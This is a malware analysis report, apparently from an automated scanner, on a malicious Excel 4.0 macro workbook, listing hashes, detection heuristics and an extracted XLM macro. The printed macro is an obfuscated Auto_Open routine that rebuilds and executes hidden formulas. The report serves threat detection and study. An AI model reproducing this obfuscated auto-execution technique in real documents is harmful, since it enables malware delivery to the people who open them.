Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6861d093dd339f4c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:26 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: efc7da70e2e06259aa281286e64418e6 SHA-1: 5b0dcceb2ed4ec7b72c1204bf263d8892114e1e6 SHA-256: 6861d093dd339f4cbf0f1e1432eaa6f6e8dd04b86410da36093d7a8ea3762683
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6598 bytes
SHA-256: fa50e9cd9c045cb42dd32d704e497978affaff1b325f3b6264539f699d1c4c0a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yeHaOXN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H190 
' 0018     24 LABEL : Cell Value, String Constant - cscBQgmWm len=0 
' 0018     23 LABEL : Cell Value, String Constant - EepyIjos len=0 
' 0018     21 LABEL : Cell Value, String Constant - EJAnbS len=0 
' 0018     23 LABEL : Cell Value, String Constant - fLooJxFl len=0 
' 0018     25 LABEL : Cell Value, String Constant - gRLNWpQTSA len=0 
' 0018     20 LABEL : Cell Value, String Constant - lqsTI len=0 
' 0018     21 LABEL : Cell Value, String Constant - LuLAea len=0 
' 0018     27 LABEL : Cell Value, String Constant - NGgTWedbfAVL len=0 
' 0018     27 LABEL : Cell Value, String Constant - nLqUcXCwcIlu len=0 
' 0018     27 LABEL : Cell Value, String Constant - nOEAAwgSmuKh len=0 
' 0018     23 LABEL : Cell Value, String Constant - OMzQylQz len=0 
' 0018     24 LABEL : Cell Value, String Constant - QmXtHGNza len=0 
' 0018     23 LABEL : Cell Value, String Constant - qOthUayq len=0 
' 0018     23 LABEL : Cell Value, String Constant - RdkiJDrz len=0 
' 0018     25 LABEL : Cell Value, String Constant - RhKnqkCOWk len=0 
' 0018     27 LABEL : Cell Value, String Constant - SbrAxUhaCoLO len=0 
' 0018     20 LABEL : Cell Value, String Constant - TyQtE len=0 
' 0018     24 LABEL : Cell Value, String Constant - UvlvDkJLI len=0 
' 0018     25 LABEL : Cell Value, String Constant - uzXZHATCgc len=0 
' 0018     26 LABEL : Cell Value, String Constant - XvGozOiabZY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yeHaOXN,H101,"SET.NAME("TyQtE",VALUE("0"))",""
'  yeHaOXN,H104,"SET.NAME("fLooJxFl",TyQtE)",""
'  yeHaOXN,H109,"SET.NAME("XvGozOiabZY",TyQtE)",""
'  yeHaOXN,H112,"SET.NAME("RhKnqkCOWk",COUNTA(nLqUcXCwcIlu))",""
'  yeHaOXN,H115,"SET.NAME("QmXtHGNza",COUNTA(cscBQgmWm))",""
'  yeHaOXN,H118,[],""
'  yeHaOXN,H121,"SET.NAME("nOEAAwgSmuKh","")",""
'  yeHaOXN,H124,"fLooJxFl",""
'  yeHaOXN,H129,"SET.NAME("SbrAxUhaCoLO",HLOOKUP("*",nLqUcXCwcIlu,fLooJxFl,FALSE))",""
'  yeHaOXN,H132,"lqsTI",""
'  yeHaOXN,H135,"SET.NAME("LuLAea",TyQtE)",""
'  yeHaOXN,H140,[],""
'  yeHaOXN,H143,"LuLAea",""
'  yeHaOXN,H147,"gRLNWpQTSA",""
'  yeHaOXN,H151,"EepyIjos",""
'  yeHaOXN,H154,"RdkiJDrz",""
'  yeHaOXN,H157,"SET.NAME("OMzQylQz",VALUE(HLOOKUP("*",cscBQgmWm,RdkiJDrz,FALSE)))",""
'  yeHaOXN,H161,"UvlvDkJLI",""
'  yeHaOXN,H164,"nOEAAwgSmuKh",""
'  yeHaOXN,H167,"XvGozOiabZY",""
'  yeHaOXN,H172,NEXT(),""
'  yeHaOXN,H174,"uzXZHATCgc",""
'  yeHaOXN,H179,"SET.NAME("f",INT(T(FORMULA(T(nOEAAwgSmuKh)&"",""&T(uzXZHATCgc)))))",""
'  yeHaOXN,H181,"NGgTWedbfAVL",""
'  yeHaOXN,H183,NEXT(),""
'  yeHaOXN,H185,RETURN(),""
'  yeHaOXN,H207,"SET.NAME("EJAnbS",H101)",""
'  yeHaOXN,H212,"nLqUcXCwcIlu",""
'  yeHaOXN,H214,"SET.NAME("cscBQgmWm",R50C13)",""
'  yeHaOXN,H217,"SET.NAME("NGgTWedbfAVL",225)",""
'  yeHaOXN,H222,"SET.NAME("qOthUayq",8)",""
'  yeHaOXN,H224,EJAnbS(),""
'  yeHaOXN,H225,HALT(),""